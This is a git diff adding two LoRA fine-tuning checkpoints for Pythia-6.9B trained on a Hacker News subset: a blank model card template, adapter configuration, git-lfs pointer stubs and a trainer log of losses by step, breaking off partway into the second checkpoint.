a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..c76ebb4dbe740b4448226805efc17b390b74a1f7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ac5f31db9afa84c10b4cf48de6540e8cf6a4dcf7bbae5c6c4d088252e23a4cf3 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..b929f64ad0275228c997b5ef8b7b871a945814e2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:52565a85be419042a0b7fbf54d2caf225e8e437e9285e64bf531465eb6ecc972 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..3e7c44b011328e871a23ca1fea7cc6ea78d70a29 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4cc0a8131f9f14b855b33975c5e795a94be3a332a0f3cf68a9ec3ab6ce73b177 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..671e99d731836dff5ed479ba9e24ab368c795616 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bb8360cb66be4e8be27b2f376c800950e3f00449fb6491d6247165f9aff23820 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..a25a966897bedf1fa1c052f355f65408713ff6f9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/trainer_state.json @@ -0,0 +1,708 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.0, + "eval_steps": 10, + "global_step": 450, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.3737323937792e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-450/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..423e558a154e6db6fc3f63a1ba5744950cc1f922 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/adapter_model.safetensors @@ 